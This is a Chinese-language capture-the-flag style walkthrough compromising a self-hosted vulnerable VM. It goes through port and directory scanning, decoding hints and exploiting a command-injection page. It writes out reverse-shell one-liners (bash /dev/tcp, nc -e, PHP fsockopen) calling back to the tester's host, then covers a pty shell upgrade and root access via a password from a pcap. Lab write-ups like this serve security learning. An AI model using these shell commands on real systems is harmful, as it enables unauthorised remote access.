首先整理一下整条渗透测试的思路
信息收集,可以分为四方面
第一点主要是域名的whois信息,获取注册人的邮箱,电话等等
第二点主要是DNS信息,traceroute信息,nslookup可以收集dns的这些信息内容,或者dig也行.
第三点主要是Google hacking,利用一些语法来搜索相关站点的信息,例如site: sina.com,例如inurl:sina.cn等等
第四点主要来自端口扫描,目录扫描等,例如利用nmap扫描端口的信息,利用dirbuster爆破目录等,收集目标的端口信息以及目标的隐藏目录等等.
因此首先我们对目标进行信息收集,由于是自己搭建的环境,运行在vm上面,所以没有对应域名,whois查询以及DNS信息查询就不需要了,然后就是Google hacking的信息也是找不到什么的,所以直接上nmap以及dirbuster试试.
<code>
sudo map -p 1-65535 -sV -oN 10.10.10.139.xml 10.10.10.139
</code>
然后如果nmap启动了全端口扫描的话,扫描就会变得很慢,目前看来没啥好的解决方法,我看他们都是使用 -T4设置线程来提高速度而已.这里让我们等一下....
好吧,接着我把结果贴出来一下,nmap扫描的结果如下:
<code>
Nmap 7.40 scan initiated Fri Sep 14 12:03:15 2018 as: nmap -p 1-65535 -sV -oN 10.10.10.139.xml 10.10.10.139
Nmap scan report for 10.10.10.139
Host is up (0.0019s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
33447/tcp open http Apache httpd 2.4.10 ((Ubuntu))
MAC Address: 00:0C:29:0B:66:96 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Fri Sep 14 12:03:50 2018 -- 1 IP address (1 host up) scanned in 34.32 seconds
</code>
这样的话我们就可以得到信息,该机器在33447端口上面开放了33447端口,运行着apache
httpd 服务,并且运行在ubuntu上面.
这里直接上CVE官网直接找该版本Apache 漏洞,看看有没有.贴一下CVE的结果如下:
可以看到下面的都是2.4.10之前版本的漏洞,跟2.4.10相关的只有前两个,第二个根据描述是拒绝服务的,这里就不探索该漏洞了,毕竟是要冲着getshell去的男人.[手动Dog脸]
然后就是上cnnvd直接看一下第一个漏洞描述,如下:
可以发现这是一个绕过权限访问限制漏洞,但是没告诉我们是绕过哪些限制以及exp,那就上exploit-db.com搜一下,But nothing to found....so, this way is blocked.
然后先说一下kali里面字典的地址,常用字典的位置在/root/usr/share/wordlists下面
在kali里面输入dirbuster -u url就可以启动owasp dirbuster,如下:
然后坐等目录爆破结果.爆破的时间实在是太久了,所以先看看别的方面吧.
B:漏洞挖掘
漏洞挖掘的话,就是直接先上扫描器,注意要借助代理,但是这个没啥技术含量,这里就不演示了.
然后是直接访问页面,很自然打开F12查看源代码,如下:
可以看到右边有一串莫名奇妙的16进制字符串,直接上https://www.sojson.com转换,如下:
d293LmpwZw==这是其对应的ascii码,然后就是这里后面的==让我联想到所谓的base64编码的补全,然后嗒然发现原来base64可以不是32或者64位的,反正解码出来就是wow.jpg,
看到这里我想起那个dirbuster刚好扫出了images的状态码为403的目录,直接试一下可以看到
被嘲讽了一波...看到这里我想起图片隐写,直接扔binwalk分析一波.但是没发现啥,说明这图片纯粹是嘲讽一波(怎么可能),所以直接用gedit打开一下看看,结果在图片编码尾巴发现一串字符串:37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34,看到这个莫名熟悉,想起好像以前ctf好像做过这个,直接扔python里面,调用replace方法将":"给替换成无符号,那就得到一大串字符串,不出意外一般就是16进制编码了,毕竟16进制是最随意的,没啥特定格式,所以直接扔16进制解码如下:
7aee0f6d588ed9905ee37f16a7c610d4,这模样很想md5,所以直接拿cmd5试下,可以解码如下:
63425.....代表毛线???唔知道系咩啊~只能等后边慢慢试下喽.
然后到这一步就没得做了,只能等目录爆破结果的信息,毕竟漏扫以及nmap扫描都没啥好的发现,然后可以发现扫结果如下:
二级目录展示如下所示:
这里可以按照他的目录打开他的includes/functions.php等各个文件,会发现functions.php是空的,查看过F12也是这个结果,然后index.php是一个登录界面,如下:
然后可以发现是一个登录界面,使用post方法,用sha512做了密码的哈希,然后
这里的想法是可以尝试爆破以及注入,但是没啥资料可以生成特定字典,注入的话只能试试那个登录邮箱名,尝试以后发现没啥注入点.
所以先看看别的页面,其他扫出来结果如下所示:
这里有几个可以看看的目录,分别是cake.php,include.php,hacked.php,下面分别看看这几个页面,首先是cake.php,如下:
cake.php打开以后就是一个简单的静态页面,直接上f12看下,如下:
可以看到title里面有一个/Magic_Box,推测是目录名称,因此可能可以直接往/Challenge/Magic_Box里面再爆破一波,先扔dirbuster里面试下.
然后是hacked.php,发现打开是一个输入id的页面,然后直接输入63425(前面的数字,啥都没发生)
然后就是include.php,打开发现是一个文件包含页面,然后没回显,试下
发现隐藏在源码里面了,然后就是试下远程文件包含,发现无法包含,那只能用于看下敏感文件,然后源码里面发现一串16进制0x5933566a4c6e4a34626e413d,16转字符串,再转换base32后如右:cuc.rxnp,google后没发现没有价值的信息,所以又是个没用的信息.
然后回dirbuster看爆破结果
发现该目录下有几个文件,command.php,low.php.low.php没发现啥内容,最后那个是跳转到登录界面的.
看command.php,这个存在命令注入漏洞,可以直接注入系统命令.
既然存在命令注入,那就可以好好利用了.
存在命令注入,那就可以进行shell反弹尝试,可以试一波.
先在自己终端开启nc -l 4567,然后直接上那个bash shell反弹,命令如下:
bash -i >& /dev/tcp/192.168.64.1/4567 0>&1结果失败了
接着试下netcat反弹shell,命令如下:
nc -e /bin/bash -d 192.168.64.1 4567,结果也失败了,
因为目标是php环境,可以试下php反弹shell,如下
php -r 'sock=fsockopen("192.168.64.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
可以看到反弹成功(这里发现反弹shell的姿势水很深,找时间一起整理一下!!!)
拿到shell就是尝试提权操作,发现失败,回显说:su: must be run from a terminal
这里用到一个提权的技巧,可以使用python来调用本地shell,把bash路径写入到python文件里面,然后直接运行py文件就可以了.命令如下:
这里说一下,pty是用来处理伪终端命令的操作模块,spawn是用来产生一个进程,并将其控制终端与当前进程的标准io连接.
接下插卡看一下那个cat /etc/passwd文件,文件里面第一列是有关一些用户名,因此直接整理看了一下有三个要注意的用户,root,acid,saman,然后看一下acid用户,直接find命令找一下该用户相关的文件,命令如下:
find / -user acid 2>/dev/null
可以看到给了我们一个提示的pcapng流量文件,直接scp过来后打开流量文件,跟踪tcp流量流,发现saman的密码直接明文传输了.
密码是1337hax0r,那就可以直接su了.
提权了以后再直接升到sudo su root权限,密码同样
然后就是直接使用find命令,查找其中的flag.txt,这条命令可以学起来:
find / -name flag.txt,如下:
至此结束.
整理一下思路:
1.首先是自己靶机,没得做信息收集,所以直接上nmap和dirbuster,nmap扫描出来的结果没啥好用的,dirbuster暴露出来一些目录
2.在爆破粗来的一级目录下有一些页面,点进去查看源代码有一些彩蛋,
3.根据其中一个暴露出来的页面提示,进行二次目录爆破.
4.得到命令注入漏洞以后,直接根据命令注入漏洞写shell,可以尝试bash shell,netcat shell,不行就直接php写shell,各种语言都有对应的写shell的方法.
5.获得shell以后,使用python pty模块获得终端,然后查看有哪些用户.
6.根据用户相关文件查看,获得提示流量文件
7.根据流量文件获取登录密码,直接提升到root权限.
8.使用find命令查找文件,获得flag.txt
What I learn most in this practice is dirbuster, it's real useful.
最后靶机下载连接为:https://pan.baidu.com/s/1iLFMXW6G2sByyQL4H577VQ
参考连接:https://www.anquanke.com/post/id/105462